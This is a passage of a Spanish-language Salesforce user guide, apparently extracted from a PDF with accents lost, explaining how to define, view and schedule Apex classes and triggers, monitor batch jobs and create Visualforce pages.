clase. Utilice los valores predeterminados para todas las versiones. Esto asocia la clase con la
versin ms reciente de Apex y la API, as como cada paquete gestionado. Puede especificar
una versin anterior de un paquete gestionado si desea acceder a componentes o funciones diferentes a los de la versin ms
reciente del paquete. Puede especificar una versin anterior de Apex y la API para mantener un comportamiento especfico.
4. En el editor de clase, introduzca el cdigo Apex de la clase. Una clase nica puede tener hasta 1 milln de caracteres, sin incluir
comentarios, mtodos de comprobacin o clases definidas mediante @isTest.
5. Haga clic en Guardar para guardar los cambios y volver a la pantalla de detalles de clase o haga clic en Guardar rpido para guardar
los cambios y continuar modificando la clase. Su clase de Apex debe compilarse correctamente antes de poder guardarla.
Una vez guardadas, se puede recurrir a las clases a travs de los mtodos o las variables de otro cdigo Apex, como un desencadenador.
Nota: Para permitir la compatibilidad con versiones anteriores, las clases se almacenan con la configuracin de una versin
especificada de Apex y la API. Si la clase de Apex hace referencia a componentes, como un objeto personalizado, en paquetes
gestionados instalados, tambin se guarda la configuracin de versin de los paquetes gestionados a los que hace referencia dicha
clase. Adicionalmente, las clases se almacenan con una marca Es vlido que se define como verdadero siempre que los
metadatos dependientes no hayan cambiado desde que la clase se compil por ltima vez. Si se realiza cualquier cambio en los
nombres o campos de objetos que se utilizan en la clase, incluidos los cambios superficiales como las modificaciones de una
descripcin de objeto o campo, o si las modificaciones se aplican a una clase que recurre a esta clase, la marca Es vlido se
define como falsa. Cuando un desencadenador o llamada de servicio Web invoca a la clase, el cdigo vuelve a compilarse y
se notifica al usuario si hay algn error. Si no hay errores, se restablece la marca Es vlido como verdadero.
CONSULTE TAMBIN
Gestin de clases de Apex
Vista de clases de Apex
Gestin de la configuracin de versin de Apex
EDICIONES
Disponible en: Performance
Edition, Unlimited Edition,
Developer Edition,
Enterprise Edition y
Database.com Edition
Los objetos estndar,
campaas, casos y correos
electrnicos no estn
disponibles en
Database.com.
PERMISOS DE USUARIO
Para definir
desencadenadores de
Apex:
"Apex de autor"
Para comentarios de casos, en Configuracin, haga clic en Personalizar > Casos > Comentarios
de casos > Desencadenadores.
Para mensajes de correo electrnico, en Configuracin, haga clic en Personalizar > Casos > Mensajes de correo electrnico >
Desencadenadores.
Para comentarios en ideas, en Configuracin, haga clic en Personalizar > Ideas > Comentarios de ideas > Desencadenadores.
Para los objetos estndar Archivos adjuntos, Documento de contenido y Nota, no puede crear un desencadenador en la interfaz de
usuario de Salesforce. Para estos objetos, cree un desencadenador utilizando herramientas de desarrollo, como la Consola del
desarrollador o el IDE de Force.com. Tambin puede utilizar la API de metadatos.
2. En la lista relacionada Desencadenadores, haga clic en Nuevo.
3. Haga clic en Configuracin de versin para especificar la versin de Apex y la API utilizadas con este desencadenador. Si su organizacin
tiene paquetes gestionados instalados de AppExchange, tambin puede especificar qu versin de cada paquete gestionado debe
utilizarse con este desencadenador. Utilice los valores predeterminados para todas las versiones. Esto asocia el desencadenador con
la versin ms reciente de Apex y la API, as como cada paquete gestionado. Puede especificar una versin anterior de un paquete
gestionado si desea acceder a componentes o funciones diferentes a los de la versin ms reciente del paquete.
4. Haga clic en Desencadenador de Apex y seleccione la casilla de verificacin Est activo si el desencadenador se debe compilar
y activar. Deje esta casilla de verificacin sin seleccionar si slo desea almacenar el cdigo en los metadatos de su organizacin. Esta
casilla de verificacin se selecciona de forma predeterminada.
5. En el cuadro de texto Cuerpo, introduzca el Apex del desencadenador. Un desencadenador simple puede tener hasta 1 milln de
caracteres de longitud.
Para definir un desencadenador, utilice la siguiente sintaxis:
trigger triggerName on ObjectName (trigger_events) {
code_block
}
donde eventos_desencadenador puede ser una lista separada por comas de uno o ms de los siguientes eventos:
antes de insercin
antes de actualizacin
antes de eliminacin
despus de insercin
despus de actualizacin
despus de eliminacin
despus de restauracin
Nota:
Slo puede utilizar la palabra clave webService en un desencadenador cuando se encuentre en un mtodo definido
como asncrono, es decir, cuando el mtodo se defina con la palabra clave @future.
Un desencadenador invocado por una insercin, eliminacin o actualizacin de un evento o tarea
recurrente produce como resultado un error de tiempo de ejecucin cuando el desencadenador se llama en bruto desde
la API de Force.com.
6. Haga clic en Guardar.
Nota: Los desencadenadores se almacenan con una marca Es vlido que se define como verdadero siempre que los
metadatos dependientes no hayan cambiado desde que el desencadenador se compil por ltima vez. Si se realiza cualquier
cambio en los nombres o campos de objetos que se utilizan en el desencadenador, incluidos los cambios superficiales como las
modificaciones de una descripcin de objeto o campo, la marca Es vlido se define como falsa hasta que el compilador
del Apex reprocese el cdigo. La nueva compilacin se produce en la prxima ejecucin del desencadenador o cuando un usuario
vuelve a guardar el desencadenador en metadatos.
Si un campo de bsqueda hace referencia a un registro que se ha eliminado, Salesforce borra el valor del campo de bsqueda de
forma predeterminada. Tambin puede seleccionar evitar la eliminacin de registros si estn en una relacin de bsqueda.
CONSULTE TAMBIN
Gestin de desencadenadores de Apex
Gestin de la configuracin de versin de Apex
Apex de autor
La herramienta Ejecutar Apex annima en la Consola del desarrollador ejecuta el cdigo de Apex que introduce utilizando
ExecuteAnonymous y genera un registro de depuracin con los resultados de la ejecucin.
PRECAUCIN: Si llama a una clase que contenga un testMethod, se ejecutarn todas las declaraciones DML del mtodo de
prueba. Esta accin puede agregar datos no deseados a su organizacin.
1. Haga clic en Depuracin > Abrir ventana de ejecucin annima para abrir la ventana Introducir cdigo Apex.
2.
Introduzca el cdigo que desea ejecutar en la ventana Introducir cdigo Apex o haga clic en
para abrir el editor de cdigos en
una nueva ventana del navegador. Para abrir automticamente el registro de depuracin obtenido al finalizar la ejecucin, seleccione
Abrir registro.
Nota: No puede utilizar la palabra clave static en cdigo annimo.
3. Ejecutar el cdigo:
a. Para ejecutar todo el cdigo de la ventana, haga clic en Ejecutar o pulse CTRL+E.
b. Para ejecutar solo las lneas de cdigo seleccionadas, seleccione las lneas y haga clic en Ejecutar elementos resaltados o
pulse CTRL+Mays+E.
4. Si ha seleccionado Abrir registro, el registro se abrir automticamente en el Inspector de registros. Cuando se ejecute el cdigo,
el registro de depuracin aparecer en la ficha Registros. Haga doble clic en el registro para abrirlo en el Inspector de registros.
5. Para ejecutar el mismo cdigo de nuevo sin realizar cambios, haga clic en Depuracin > ltima ejecucin. Si no desea modificar
el cdigo, haga clic en Depuracin > Abrir ventana de ejecucin annima para abrir la ventana Introducir cdigo Apex con al
entrada anterior.
CONSULTE TAMBIN
Men de depuracin
Inspector de registros
Uso de registros de depuracin
Ficha Registros
EDICIONES
Disponible en: Performance
Edition, Unlimited Edition,
Developer Edition y
Enterprise Edition
PERMISOS DE USUARIO
Para crear paquetes:
Crear paquetes de
AppExchange de
Force.com
Para cargar paquetes:
Cargar paquetes de
AppExchange de
Force.com
Para crear las clases de
Apex:
"Apex de autor"
-------------------------------------------------------------------------------- Asunto:
Excepcin de secuencia de comandos de desarrollador desde CLASSNAME La
organizacin/usuario siguiente no ha gestionado la excepcin de desencadenador de
secuencia de comandos de Apex: USER_ID/ORG_ID EXCEPTION_STRING STACK_TRACE
--------------------------------------------------------------------------------
Por ejemplo:
-------------------------------------------------------------------------------- De:
Aplicacin de Apex? <info@salesforce.com> A: joeuser@salesforce.com
<joeuser@salesforce.com> Asunto: Excepcin de comando de desarrollador de Gack WS?
Fecha: Lun, 26 Nov 2007 14:42:41 +0000 (GMT) (06:42 PST) La organizacin/usuario
siguiente no ha gestionado la excepcin de desencadenador de secuencia de comandos de
Apex: 010x0000000rfPg/00Fx00000009ejj TestException.Test Exception?: Excepcin de Gack
Class.Gack WS?.gackTestException: lnea 4, columna 11
--------------------------------------------------------------------------------
El nmero de correos electrnicos generados para el mismo error est limitado a 10 mensajes con el mismo asunto en un periodo de
60 segundos.
Una clase de Apex es una plantilla o estructura a partir de la cual se crean objetos Apex. Las clases
estn compuestas por otras clases, mtodos definidos por el usuario, variables, tipos de excepcin
y cdigo de inicializacin esttico. Una vez almacenadas correctamente, se puede recurrir a los
mtodos o las variables de clases mediante otro cdigo Apex, o a travs de la API de SOAP (o kit
de herramientas AJAX) para mtodos que se han diseado con la palabra clave webService.
PERMISOS DE USUARIO
Para definir, modificar,
eliminar, configurar la
seguridad, definir la
configuracin de la versin,
mostrar dependencias y
ejecutar pruebas de clases
de Apex:
Autor de Apex
La pgina Clases de Apex le permite crear y gestionar clases de Apex. Para acceder a la pgina Clases
de Apex, en Configuracin, haga clic en Desarrollo > Clases de Apex. Si desea funciones de desarrollo adicionales use la Consola de
desarrollador.
Para crear una clase de Apex, desde la pgina Clases de Apex, haga clic en Nuevo y escriba su cdigo Apex en el editor.
Mientras que los desarrolladores pueden escribir mtodos de clases segn la sintaxis establecida en la Gua del desarrollador del cdigo
Apex de Force.com, las clases se pueden generar automticamente utilizando un documento WSDL almacenado en un disco duro local
o en la red. La creacin de una clase utilizando un documento WSDL permite a los desarrolladores realizar llamadas al servicio Web
externo en su Apex. En la pgina Clases de Apex, haga clic en Generar desde WSDL para generar una clase de Apex desde un documento
WSDL.
Una vez que haya creado una clase de Apex, podr realizar una de estas acciones:
Haga clic en Modificar junto al nombre de la clase para modificar su contenido en un editor simple.
Haga clic en Eliminar junto al nombre de la clase para eliminar la clase de su organizacin.
Nota:
Puede agregar, modificar o eliminar Apex utilizando la interfaz de usuario de Salesforce solo en una organizacin de
Developer Edition, una organizacin de prueba de Salesforce Enterprise Edition o una organizacin de sandbox. En una
organizacin de produccin de Salesforce, solo podr realizar cambios de Apex utilizando la llamada Implementacin de
la API de metadatos, el IDE de Force.com o la Herramienta de migracin de Force.com. El IDE de Force.com y la
herramienta de migracin de Force.com son recursos gratuitos proporcionados por salesforce.com para ayudar a sus
usuarios y socios, pero no se consideran parte de nuestros servicios en lo relativo al Contrato de suscripcin principal de
salesforce.com.
No puede eliminar una clase especificada como un controlador para un componente o una pgina de Visualforce.
Un icono
indica que una clase de Apex se ha instalado en un paquete gestionado. Las clases de Apex en paquetes
tienen consideraciones especiales.
Un icono
indica que una clase de Apex est en un paquete gestionado instalado. No puede modificar ni eliminar una
clase de un paquete gestionado.
Un icono
indica que una clase de Apex en un paquete gestionado y editado anterior se eliminar en la prxima carga
del paquete. Puede seleccionar recuperar la clase de Apex mediante la pgina de detalles del paquete.
Si una clase de Apex tiene algn mtodo definido como webService, puede hacer clic en WSDL junto la nombre de clase para
generar un documento WSDL a partir del contenido de la clase. Este documento contiene toda la informacin necesaria para que
un cliente consuma mtodos de servicio Web de Apex. Todos los mtodos de clases con la palabra clave webService se incluyen
en el documento WSDL resultante.
Haga clic en Seguridad junto al nombre de clase para seleccionar los perfiles que se admiten para ejecutar mtodos en la clase
desde puntos de entrada de nivel superior, como mtodos de servicio Web. Para las clases instaladas en su organizacin como parte
de un paquete gestionado, este vnculo slo se muestra para las definidas como global.
Haga clic en Estimar la cobertura de cdigo de su organizacin para saber qu cantidad del cdigo Apex en su organizacin
est cubierta actualmente por pruebas de unidad. Este porcentaje se basa en los ltimos resultados de pruebas que ya ha realizado.
Si no tiene resultados de pruebas, la cobertura del cdigo ser 0%.
Si tiene pruebas de unidad en al menos una clase Apex, haga clic en Ejecutar todas las pruebas para realizar todas las pruebas de
unidad de su organizacin.
Haga clic en Compilar todas las clases para compilar todas las clases de Apex en su organizacin. Si tiene clases que se instalan
desde un paquete gestionado y que tienen mtodos de comprobacin o son clases de prueba, debe compilar estas clases primero
antes de visualizarlas y de ejecutar sus mtodos de prueba desde la pgina Ejecucin de prueba de Apex. Las clases de paquetes
gestionados slo se pueden compilar mediante el vnculo Compilar todas las clases porque no se pueden guardar. En caso
contrario, si guarda las clases de Apex que no forman parte de un paquete gestionado, se volvern a compilar. Este vnculo compila
todas las clases de Apex de su organizacin, ya sean o no de un paquete gestionado.
Nota: El prefijo de espacio de nombres se agrega a clases y desencadenadores de Apex, componentes y pginas de Visualforce,
plantillas de marca, carpetas, S-Control, recursos estticos, vnculos Web y tipos de informes personalizados si se incluyen en un
paquete gestionado. Sin embargo, si no dispone de permisos de personalizacin de la aplicacin, no se mostrar el campo de
prefijo del espacio de nombres para plantillas de marca, carpetas y tipos de informes personalizados.
CONSULTE TAMBIN
Definicin de clases de Apex
Vista de clases de Apex
EDICIONES
Disponible en: Enterprise
Edition, Performance
Edition, Unlimited Edition,
Developer Edition y
Database.com Edition
PERMISOS DE USUARIO
Para definir, modificar,
eliminar, establecer ajustes
de versin y mostrar las
dependencias de los
desencadenadores de
Apex:
"Apex de autor"
Haga clic en Modificar junto al nombre del desencadenador para modificar su contenido en un editor.
Haga clic en Eliminar junto al nombre del desencadenador para eliminar el desencadenador de su organizacin.
Nota:
Puede agregar, modificar o eliminar Apex utilizando la interfaz de usuario de Salesforce solo en una organizacin de Developer
Edition, una organizacin de prueba de Salesforce Enterprise Edition o una organizacin de sandbox. En una organizacin de
produccin de Salesforce, solo podr realizar cambios de Apex utilizando la llamada Implementacin de la API de
metadatos, el IDE de Force.com o la Herramienta de migracin de Force.com. El IDE de Force.com y la herramienta de
migracin de Force.com son recursos gratuitos proporcionados por salesforce.com para ayudar a sus usuarios y socios, pero
no se consideran parte de nuestros servicios en lo relativo al Contrato de suscripcin principal de salesforce.com.
Un icono
indica que un desencadenador Apex est en un paquete gestionado instalado. No puede modificar ni eliminar
un desencadenador de un paquete gestionado.
Un icono
indica que un desencadenador de Apex en un paquete gestionado y editado anterior se eliminar en la prxima
carga del paquete. Puede seleccionar recuperar el desencadenador de Apex mediante la pgina de detalles del paquete.
CONSULTE TAMBIN
Definicin de desencadenadores de Apex
EDICIONES
Disponible en: Performance
Edition, Unlimited Edition,
Developer Edition,
Enterprise Edition y
Database.com Edition
Los paquetes gestionados
no estn disponibles en
Database.com.
PERMISOS DE USUARIO
Para definir, modificar,
eliminar, configurar la
seguridad, definir la
configuracin de la versin,
mostrar dependencias y
ejecutar pruebas de clases
de Apex:
Autor de Apex
configuracin, seleccione un paquete en la lista de paquetes disponibles. La lista slo se muestra si tiene un paquete gestionado
instalado que no est ya asociado a la clase o el desencadenador.
3. Haga clic en Guardar.
Cuando trabaje con la configuracin de versin de paquete, tenga en cuenta lo siguiente:
Si guarda una clase o un desencadenador de Apex que hace referencia a un paquete gestionado sin especificar una versin del
paquete gestionado, la clase o el desencadenador de Apex se asocia de forma predeterminada a la versin instalada ms reciente
del paquete gestionado.
No puede eliminar la configuracin de versin de una clase o un desencadenador para un paquete gestionado si se hace referencia
al paquete en la clase o en el desencadenador. Utilice Mostrar dependencias para encontrar dnde una clase o un desencadenador
hace referencia a un paquete gestionado.
EDICIONES
Disponible en: Enterprise
Edition, Performance
Edition, Unlimited Edition,
Developer Edition y
Database.com Edition
PERMISOS DE USUARIO
Para definir, modificar,
eliminar, configurar la
seguridad, definir la
configuracin de la versin,
mostrar dependencias y
ejecutar pruebas de clases
de Apex:
Autor de Apex
Nota: No puede eliminar una clase especificada como un controlador para un componente o una pgina de Visualforce.
Si su clase tiene un mtodo definido como webService, haga clic en Generar WSDL para generar un documento WSDL basado
en la clase.
Nota: No puede generar un documento WSDL para clases definido como isTest.
Haga clic en Descargar para descargar una copia de su Apex.
Haga clic en Realizar prueba para ejecutar las pruebas de unidad de la clase.
Haga clic en Seguridad para configurar el nivel de seguridad de clase de Apex.
Haga clic en Mostrar dependencias para mostrar los elementos, como campos, objetos u otras clases, que deben existir para que
esta clase sea vlida.
La ficha Resumen de clase muestra el prototipo de la clase; esto es, las clases, los mtodos y las variables que estn disponibles para
otros cdigos de Apex. La ficha Resumen de clase indica el nivel de acceso y la firma de cada mtodo y variable en una clase de Apex,
as como las clases internas. Si no hay ningn prototipo disponible, esta ficha no estar disponible.
Nota:
Para las clases de Apex no incluidas en los paquetes gestionados, slo se muestran las clases, los mtodos y las variables
definidas como global o public.
En el caso de las clases de Apex incluidas en paquetes gestionados, la ficha Resumen de clase tambin indica la versin de
paquete en el que se introdujo una propiedad o mtodo especfico. Puede seleccionar un nmero de versin de la lista
desplegable para ver el prototipo para la versin de paquete seleccionada. El valor predeterminado es la versin actualmente
instalada. Un desarrollador de paquete puede desaprobar un mtodo Apex y cargar una nueva versin de paquete, exponiendo
de este modo una clase de Apex con un prototipo diferente. Slo las clases, los mtodos y las variables definidos como global
se muestran en los prototipos de clases de paquetes gestionados.
Si una clase de Apex hace referencia a componentes de paquetes gestionados instalados, como otra clase, un desencadenador o un
objeto personalizado, la ficha Configuracin de versin indica las versiones de paquete de los paquetes que incluyen los componentes
a los que se hace referencia.
La ficha Filtros de registro muestra las categoras del registro de depuracin y los niveles del registro de depuracin que puede definir
para la clase.
CONSULTE TAMBIN
Definicin de clases de Apex
Gestin de clases de Apex
Filtrado de registros de depuracin de clases de Apex y desencadenadores de Apex
EDICIONES
Disponible en: Enterprise
Edition, Performance
Edition, Unlimited Edition,
Developer Edition y
Database.com Edition
PERMISOS DE USUARIO
Para visualizar
desencadenadores de
Apex:
"Apex de autor"
Para visualizar los detalles de un desencadenador, en Configuracin, haga clic en Desarrollo >
Desencadenadores de Apex y, a continuacin, haga clic en el nombre del desencadenador.
Tambin puede acceder a los detalles del desencadenador desde el objeto. Para un objeto estndar,
en Configuracin, haga clic en Personalizar, haga clic en el nombre del objeto, haga clic en Desencadenadores y, a continuacin,
haga clic en el nombre del desencadenador. En el caso de un objeto personalizado, en Configuracin, haga clic en Crear > Objetos,
haga clic en el nombre del objeto y, a continuacin, en el nombre del desencadenador.
Desde la pgina de detalles del desencadenador, tambin puede realizar lo siguiente:
Haga clic en Modificar para modificar el contenido del desencadenador.
Nota: Un icono
indica que un desencadenador de Apex est en un paquete gestionado instalado. No puede modificar
ni eliminar un desencadenador de un paquete gestionado.
Haga clic en Eliminar para eliminar el desencadenador de su organizacin.
Haga clic en Mostrar dependencias para mostrar los elementos, como campos, s-controls o clases, a los que hace referencia el
cdigo de Apex que contiene el desencadenador.
Haga clic en Descargar Apex para descargar el texto del desencadenador. El archivo se guardar con el nombre del desencadenador
como el nombre de archivo, con .trg como el tipo de archivo.
La pgina de detalles del desencadenador muestra la siguiente informacin para un desencadenador.
Nombre del desencadenador.
El nombre del objeto al que est asociado el desencadenador, como Cuenta o Caso.
La versin de la API en la que se ha guardado el desencadenador.
Si un desencadenador es vlido.
Nota: Los desencadenadores se almacenan con una marca Es vlido que se define como verdadero siempre que
los metadatos dependientes no hayan cambiado desde que el desencadenador se compil por ltima vez. Si se realiza cualquier
cambio en los nombres o campos de objetos que se utilizan en el desencadenador, incluidos los cambios superficiales como
las modificaciones de una descripcin de objeto o campo, la marca Es vlido se define como falsa hasta que el
compilador del Apex reprocese el cdigo. La nueva compilacin se produce en la prxima ejecucin del desencadenador o
cuando un usuario vuelve a guardar el desencadenador en metadatos.
Si un campo de bsqueda hace referencia a un registro que se ha eliminado, Salesforce borra el valor del campo de bsqueda
de forma predeterminada. Tambin puede seleccionar evitar la eliminacin de registros si estn en una relacin de bsqueda.
Si el desencadenador est activado.
EDICIONES
Disponible en: Enterprise
Edition, Performance
Edition, Unlimited Edition,
Developer Edition y
Database.com Edition
PERMISOS DE USUARIO
Para definir, modificar,
eliminar, configurar la
seguridad, definir la
configuracin de la versin,
mostrar dependencias y
ejecutar pruebas de clases
de Apex:
Autor de Apex
Si un documento WSDL contiene una palabra reservada para Apex, a dicha palabra se agrega _x cuando se genera la clase de Apex.
Por ejemplo, limit en un documento WSDL se convierte en limit_x en la clase de Apex generada. Para obtener una lista de
las palabras reservadas, consulte la Gua del desarrollador del cdigo Apex de Force.com.
Si una operacin en WSDL tiene un mensaje de salida con ms de un elemento, la clase de Apex generada contiene los elementos
en una clase interior. El mtodo de Apex que representa la operacin WSDL devuelve la clase interior en lugar de los elementos
individuales.
CONSULTE TAMBIN
Definicin de clases de Apex
EDICIONES
Disponible en: Enterprise
Edition, Performance
Edition, Unlimited Edition,
Developer Edition y
Database.com Edition
Estado
Descripcin
En espera 1
En cola
Preparacin
Procesando
Abortado
Completado
Con fallos
Si se produce uno o ms errores durante el procesamiento por lotes, la columna Detalles del estado ofrece una breve descripcin del
primer error. El usuario que inici la clase de ejecucin por lotes recibir una descripcin ms detallada de ese error, junto con todos los
errores subsiguientes.
Para mostrar una lista filtrada de elementos, seleccione una lista predefinida en la lista desplegable Ver o haga clic en Crear nueva
vista para definir su propias vistas personalizadas. Resulta de gran utilidad si desea ver slo los mtodos future o slo los trabajos
de lotes de Apex.
Solo se puede ejecutar un mtodo start del trabajo de Apex del lote cada vez en una organizacin. Los trabajos de lotes que no se
han iniciado an permanecen en la cola hasta que se inicien. Tenga en cuenta que este lmite no causa ningn fallo en el trabajo del
lote y que los mtodos execute del trabajo de Apex del lote se ejecutan an en paralelo si hay ms de un trabajo ejecutndose.
Para cualquier tipo de trabajo de Apex, puede hacer clic en Cancelar trabajo en la columna Accin para detener todo el procesamiento
de ese trabajo.
Todos los trabajos de lote que hayan completado la ejecucin se eliminarn de la lista de colas de lotes siete das despus de su finalizacin.
Para obtener ms informacin sobre Apex, consulte la Gua del desarrollador del cdigo Apex de Force.com.
CONSULTE TAMBIN
Programacin de Apex
EDICIONES
Disponible en: Enterprise
Edition, Performance
Edition, Unlimited Edition,
Developer Edition y
Database.com Edition
Este estado forma parte del programa piloto de la cola flexible de Apex.
Nota: Esta funcin est disponible actualmente para seleccionar clientes mediante un programa piloto. Para estar nominado
para unirse a este programa piloto, pngase en contacto con salesforce.com. Se pueden aplicar trminos y condiciones adicionales
para participar en el programa piloto. Tenga en cuenta que los programas piloto estn sujetos a cambios, y por lo tanto, no podemos
garantizar la aceptacin en este programa piloto o un periodo de tiempo en que se pueda activar esta funcin. Los servicios y
funciones que no se hayan comercializado y a los que se haga referencia en este o en otro comunicado de prensa o declaracin
pblica no estn disponibles en este momento y es posible que no lo estn en el momento previsto o que no lleguen a ofertarse.
Los clientes que adquieran nuestros servicios debern tomar sus decisiones de compra en funcin de las funciones que se ofrecen
en estos momentos.
La cola flexible de Apex le permite enviar hasta 100 trabajos por lotes para la ejecucin. Todos los trabajos enviados para su ejecucin,
pero no procesados de inmediato por el sistema, tienen el estado en espera y se incluyen en una cola independiente (cola flexible de
Apex). Hasta 100 trabajos por lotes pueden estar en el estado en espera. Cuando los recursos del sistema estn disponibles, el sistema
selecciona los trabajos de la cola flexible de Apex y los mueve a la cola de trabajos por lotes. El estado de los trabajos movidos cambia
de En espera a En cola. Los trabajos en cola se ejecutan cuando el sistema est listo para procesar trabajos nuevos.
Sin la intervencin del administrador, los trabajos se procesan segn el primero en entrar y el primero en salir en el orden en el que se
envan. Los administradores pueden modificar el orden de los trabajos en espera de la cola flexible de Apex para controlar cundo son
procesados por el sistema. Por ejemplo, puede mover un trabajo por lotes a la primera posicin de la cola en espera de modo que el
primer trabajo se procese cuando el sistema recupere el siguiente trabajo en espera de la cola flexible.
Programacin de Apex
Utilice el programador de Apex si tiene clases de Apex especficas que desee ejecutar de manera
regular, o para ejecutar un trabajo de Apex por lotes a travs de la interfaz de usuario de Salesforce.
El programador se ejecuta como un sistema: se ejecutan todas las clases, tanto si el usuario tiene
permiso para ejecutar la clase o no.
Importante: Salesforce programa la clase para su ejecucin a la hora especificada. Puede
que la ejecucin se retrase dependiendo de la disponibilidad del servicio.
Para programar trabajos con el programador de Apex:
1. Implemente la interfaz programable en una clase de Apex que cree una instancia de la
clase que desee ejecutar.
2. En Configuracin, haga clic en Desarrollo > Clases de Apex y haga clic en Programar Apex.
3. Especifique el nombre de la clase que desee programar.
4. Especifique la frecuencia con la que se va a ejecutar la clase de Apex.
EDICIONES
Disponible en: Enterprise
Edition, Performance
Edition, Unlimited Edition,
Developer Edition y
Database.com Edition
En el caso de Semanal, especifique uno o varios das de la semana en los que se va a ejecutar el trabajo (por ejemplo, lunes y
mircoles).
En el caso de Mensual, especifique la fecha en la que se va a ejecutar el trabajo o el da (por ejemplo, el segundo sbado de
cada mes).
5. Especifique las fechas de inicio y fin de la clase programada de Apex. Si especifica un solo da, el trabajo solo se ejecuta una vez.
6. Especifique la hora de inicio que prefiera. La hora exacta a la que se inicia el trabajo depende de la disponibilidad del servicio.
7. Haga clic en Guardar.
Nota: Slo puede tener 100 trabajos activos o programados a la vez.
De forma alternativa, puede activar el mtodo System.scheduleBatch para que programe una nica ejecucin del trabajo por
lotes en el futuro. Para obtener ms informacin, consulte Uso del mtodo System.scheduleBatch en la Gua del desarrollador
de cdigo Apex de Force.com .
Despus de programar un trabajo de Apex, puede supervisar el avance del trabajo en la pgina Todos los trabajos programados.
Cuando haya finalizado el trabajo, puede consultar datos especficos sobre el trabajo (por ejemplo, si se ha hecho correctamente o no,
cundo ha durado, el nmero de registros procesados, etc.) en la pgina Trabajos de Apex.
Preguntas ms frecuentes
Preguntas ms frecuentes sobre Apex
Cul es la diferencia entre clases y desencadenadores de Apex?
Puedo llamar a un servicio Web externo con Apex?
Qu son los tipos de esquemas WSDL admitidos para llamadas de Apex?
EDICIONES
Disponible en: Enterprise
Edition, Performance
Edition, Unlimited Edition,
Developer Edition y
Database.com Edition
CONSULTE TAMBIN
Preguntas ms frecuentes sobre Apex
Visualforce
Descripcin general de Visualforce
Visualforce utiliza un lenguaje de marcas basado en etiquetas que proporciona a los desarrolladores
una potente herramienta para generar aplicaciones y personalizar la interfaz de usuario de Salesforce.
Con Visualforce podr:
Crear interfaces de usuario personalizadas que integren estilos estndar de Salesforce
Crear interfaces de usuario sustituyan totalmente los estilos estndar de Salesforce
Crear asistentes y otros patrones de navegacin que utilicen reglas especficas de datos para
una interaccin ptima y eficiente
EDICIONES
Disponible en: Contact
Manager Edition, Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition y
Developer Edition
Visualforce contiene una amplia biblioteca de componentes que le permite generar pginas
rpidamente sin tener que crear mltiples funcionalidades por s mismo. En el lenguaje de marcas
de Visualforce, cada etiqueta corresponde a un componente en bruto o refinado, como una pgina
de seccin, una lista relacionada o un campo. Los componentes se pueden controlar por la misma lgica que se utiliza en pginas
estndar de Salesforce o bien, los desarrolladores pueden asociar su propia lgica con un controlador o una extensin de controlador
escrita en Apex.
CONSULTE TAMBIN
Definicin de pginas de Visualforce
Qu es un componente personalizado?
Por ejemplo, si quiere crear una pgina llamada HelloWorld y su organizacin de Salesforce
utiliza la instancia na3.salesforce.com, introduzca
https://na3.salesforce.com/apex/HelloWorld.
Nota: Los nombres de pgina no pueden tener ms de 40 caracteres.
2. Como la pgina no existe, se le dirigir a una pgina intermedia desde la que podr crear la
nueva pgina. Haga clic en Crear pgina NombreNuevaPgina para crear la nueva pgina.
A las pginas Nombre y Etiqueta se les asigna el valor NombreNuevaPgina
especificado en la URL.
EDICIONES
Disponible en: Contact
Manager Edition, Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition y
Developer Edition
PERMISOS DE USUARIO
Para crear, modificar y
establecer la configuracin
de la versin de pginas de
Visualforce:
Personalizar aplicacin
8. Seleccione Requiere proteccin de CSRF en solicitudes GET para activar la proteccin Cross Site Request Forgery (CSRF) para
solicitudes GET para la pgina. Cuando la opcin est marcada, protege frente a ataques CSRF modificando la pgina para requerir
un token de confirmacin de CSRF, una cadena aleatoria de caracteres en los parmetros de URL. Con cada solicitud GET, Visualforce
comprueba la validez de esta cadena de caracteres y no carga la pgina a menos que el valor encontrado coincida con el valor
esperado.
Seleccione esta casilla si la pgina realiza cualquier operacin DML cuando est recin cargada. Cuando la opcin est marca, todos
los vnculos a esta pgina necesitan la adicin de un token de CSRF a los parmetros de cadena de solicitud de URL. Esta casilla de
verificacin est disponible para pginas establecidas en la versin de API 28.0 y posterior.
Nota: En Summer 13, la nica forma de agregar un token de CSRF vlido a una URL es sobrescribir el vnculo Eliminar estndar
de un objeto con una pgina de Visualforce. El vnculo Eliminar incluir automticamente el token necesario. No seleccione
esta casilla para ninguna pgina que no sobrescriba el vnculo Eliminar estndar de un objeto.
9. En el cuadro de texto Marca de Visualforce , introduzca la marca Visualforce para la pgina. Una pgina simple puede
albergar hasta 1 MB de texto o 1.000.000 de caracteres aproximadamente.
10. Haga clic en Configuracin de versin para especificar la versin de Visualforce y la API utilizada con esta pgina. Tambin puede
especificar versiones para cualquier paquete gestionado instalado en su organizacin.
11. Haga clic en Guardar para guardar los cambios y volver a la pantalla de detalles de Visualforce o haga clic en Guardar rpido para
guardar los cambios y continuar modificando la pgina. La marca de Visualforce debe ser vlida para poder guardar la pgina.
Nota: Aunque puede modificar su marca de Visualforce desde esta parte de la configuracin, para ver los resultados de sus
ediciones deber navegar hasta la URL de su pgina. Por este motivo, la mayora de los desarrolladores prefieren trabajar con
el modo de desarrollo activado de forma que puedan ver y modificar las pginas en una ventana nica.
Una vez creada su pgina, puede acceder a ella haciendo clic en Vista previa. Tambin puede verla manualmente introduciendo una
URL en el siguiente formulario: http://miInstanciadeSalesforce/apex/NombreNuevapgina, donde el valor de
miInstanciadeSalesforce es el nombre de host de su instancia de Salesforce (por ejemplo, na3.salesforce.com) y
el valor de NombreNuevapgina es el valor del Nombre de su definicin de pgina.
CONSULTE TAMBIN
Activacin del modo de desarrollo
Visualizacin y modificacin de pginas de Visualforce
Fichas de creacin de Visualforce
EDICIONES
Disponible en: Contact
Manager Edition, Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition y
Developer Edition
PERMISOS DE USUARIO
Para activar el modo de
desarrollo:
Personalizar aplicacin
EDICIONES
Disponible en: Contact
Manager Edition, Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition y
Developer Edition
PERMISOS DE USUARIO
Para duplicar, modificar o
eliminar la marca de
Visualforce:
Personalizar aplicacin
Para modificar
controladores
personalizados de
Visualforce
"Apex de autor"
Haga clic en el botn Desactivar modo de desarrollo ( ) para desactivar por completo el modo de desarrollo. El modo de desarrollo
permanece desactivado hasta que lo vuelva a activar desde su pgina de informacin personal en su configuracin personal.
